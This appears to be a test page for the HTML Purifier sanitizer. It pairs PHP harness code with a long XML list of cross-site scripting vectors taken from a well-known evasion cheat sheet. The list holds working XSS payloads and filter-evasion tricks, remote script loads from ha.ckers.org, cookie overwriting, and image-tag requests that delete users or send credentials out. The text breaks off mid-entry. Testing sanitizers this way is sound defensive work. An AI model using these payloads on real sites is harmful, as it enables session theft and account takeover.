    Caveats: -Google.com has been programatically disallowed, but as you can -see, there are ways of getting around that, so coverage in this area -is not complete. Most XSS broadcasts its presence by spawning an alert dialogue. -The displayed code is not strictly correct, as linebreaks have been forced for -readability. Linewraps have been marked with ». Some tests are -omitted for your convenience. Not all control characters are displayed.

    - -

    Test

    -Requires PHP 5.

    '); - -$xml = simplexml_load_file('xssAttacks.xml'); - -// programatically disallow google.com for URI evasion tests -// not complete -$config = HTMLPurifier_Config::createDefault(); -$config->set('URI.HostBlacklist', array('google.com')); -$purifier = new HTMLPurifier($config); - -?> - - - -attack as $attack) { - $code = $attack->code; - - // custom code for null byte injection tests - if (substr($code, 0, 7) == 'perl -e') { - $code = substr($code, $i=strpos($code, '"')+1, strrpos($code, '"') - $i); - $code = str_replace('\0', "\0", $code); - } - - // disable vectors we cannot test in any meaningful way - if ($code == 'See Below') continue; // event handlers, whitelist defeats - if ($attack->name == 'OBJECT w/Flash 2') continue; // requires ActionScript - if ($attack->name == 'IMG Embedded commands 2') continue; // is an HTTP response - - // custom code for US-ASCII, which couldn't be expressed in XML without encoding - if ($attack->name == 'US-ASCII encoding') $code = urldecode($code); -?> - > - - - purify($code); ?> - - - - - -
    NameRawOutputRender
    name); ?>
    - - - - - - XSS Locator - ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} - - Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - XSS Quick Test - '';!--"<XSS>=&{()} - If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus &lt;XSS to see if it is vulnerable. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - SCRIPT w/Alert() - <SCRIPT>alert('XSS')</SCRIPT> - Basic injection attack - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - SCRIPT w/Source File - <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> - No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - SCRIPT w/Char Code - <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> - Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - BASE - <BASE HREF="javascript:alert('XSS');//"> - Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - BGSOUND - <BGSOUND SRC="javascript:alert('XSS');"> - BGSOUND - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - BODY background-image - <BODY BACKGROUND="javascript:alert('XSS');"> - BODY image - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - BODY ONLOAD - <BODY ONLOAD=alert('XSS')> - BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - DIV background-image 1 - <DIV STYLE="background-image: url(javascript:alert('XSS'))"> - Div background-image - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - DIV background-image 2 - <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> - Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - DIV expression - <DIV STYLE="width: expression(alert('XSS'));"> - Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression" - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - FRAME - <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> - Frame (Frames have the same sorts of XSS problems as iframes). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IFRAME - <IFRAME SRC="javascript:alert('XSS');"></IFRAME> - Iframe (If iframes are allowed there are a lot of other XSS problems as well). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - INPUT Image - <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> - INPUT Image - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IMG w/JavaScript Directive - <IMG SRC="javascript:alert('XSS');"> - Image XSS using the JavaScript directive. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IMG No Quotes/Semicolon - <IMG SRC=javascript:alert('XSS')> - No quotes and no semicolon - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IMG Dynsrc - <IMG DYNSRC="javascript:alert('XSS');"> - IMG Dynsrc - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - IMG Lowsrc - <IMG LOWSRC="javascript:alert('XSS');"> - IMG Lowsrc - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - IMG Embedded commands 1 - <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> - This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IMG Embedded commands 2 - Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser - IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - IMG STYLE w/expression - exp/*<XSS STYLE='no\xss:noxss("*//*"); -xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'> - - IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - List-style-image - <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS - - Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - IMG w/VBscript - <IMG SRC='vbscript:msgbox("XSS")'> - VBscript in an image - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - LAYER - <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> - Layer (Older Netscape only) - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - - Livescript - <IMG SRC="livescript:[code]"> - Livescript (Older Netscape only) - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - - US-ASCII encoding - %BCscript%BEalert(%A2XSS%A2)%BC/script%BE - Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>] - - - - META - <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> - The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - META w/data:URL - <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> - This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - META w/additional URL parameter - <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> - Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Mocha - <IMG SRC="mocha:[code]"> - Mocha (Older Netscape only) - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - - OBJECT - <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> - If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - OBJECT w/Embedded XSS - <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> - Using an OBJECT tag you can embed XSS directly (this is unverified). - - - Browser support: - - - Embed Flash - <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> - - Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html : - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - OBJECT w/Flash 2 - a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")"; eval(a+b+c+d); - - Using this action script inside flash can obfuscate your XSS vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - STYLE - <STYLE TYPE="text/javascript">alert('XSS');</STYLE> - STYLE tag (Older versions of Netscape only) - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - - STYLE w/Comment - <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> - STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - STYLE w/Anonymous HTML - <XSS STYLE="xss:expression(alert('XSS'))"> - Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - STYLE w/background-image - <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> - - STYLE tag using background-image. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - STYLE w/background - <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> - - STYLE tag using background. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Stylesheet - <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> - Stylesheet - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Remote Stylesheet 1 - <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> - Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Remote Stylesheet 2 - <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> - Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Remote Stylesheet 3 - <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> - Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Remote Stylesheet 4 - <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> - Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - TABLE - <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE> - Table background (who would have thought tables were XSS targets... except me, of course). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - TD - <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE> - TD background. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - XML namespace - <HTML xmlns:xss> -<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> -<xss:xss>XSS</xss:xss> - -</HTML> - XML namespace. The .htc file must be located on the server as your XSS vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - XML data island w/CDATA - <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> - -</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> - XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - XML data island w/comment - <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> - -<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> - XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - XML (locally hosted) - <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML> -<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> - - Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - XML HTML+TIME - <HTML><BODY> -<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> - -<?import namespace="t" implementation="#default#time2"> -<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML> - - HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Commented-out Block - <!--[if gte IE 4]> -<SCRIPT>alert('XSS');</SCRIPT> -<![endif]--> - - Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Cookie Manipulation - <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> - - Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Local .htc file - <XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"> - This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Rename .js to .jpg - <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> - Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - SSI - <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--> - - SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - PHP - <? echo('<SCR)'; -echo('IPT>alert("XSS")</SCRIPT>'); ?> - - PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - JavaScript Includes - <BR SIZE="&{alert('XSS')}"> - &JavaScript includes (works in Netscape 4.x). - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - - Character Encoding Example - < -%3C -&lt -&lt; -&LT -&LT; -&#60 -&#060 -&#0060 - -&#00060 -&#000060 -&#0000060 -&#60; -&#060; -&#0060; -&#00060; -&#000060; -&#0000060; -&#x3c -&#x03c -&#x003c -&#x0003c -&#x00003c -&#x000003c -&#x3c; -&#x03c; - -&#x003c; -&#x0003c; -&#x00003c; -&#x000003c; -&#X3c -&#X03c -&#X003c -&#X0003c -&#X00003c -&#X000003c -&#X3c; -&#X03c; -&#X003c; -&#X0003c; -&#X00003c; -&#X000003c; -&#x3C - -&#x03C -&#x003C -&#x0003C -&#x00003C -&#x000003C -&#x3C; -&#x03C; -&#x003C; -&#x0003C; -&#x00003C; -&#x000003C; -&#X3C -&#X03C -&#X003C -&#X0003C -&#X00003C -&#X000003C - -&#X3C; -&#X03C; -&#X003C; -&#X0003C; -&#X00003C; -&#X000003C; -\x3c -\x3C -\u003c -\u003C - All of the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?). - - - Browser support: - - - Case Insensitive - <IMG SRC=JaVaScRiPt:alert('XSS')> - Case insensitive XSS attack vector. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - HTML Entities - <IMG SRC=javascript:alert(&quot;XSS&quot;)> - HTML entities (the semicolons are required for this to work). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Grave Accents - <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> - Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Image w/CharCode - <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> - If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - UTF-8 Unicode Encoding - <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> - - UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Long UTF-8 Unicode w/out Semicolons - <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> - - Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - DIV w/Unicode - <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> - DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span 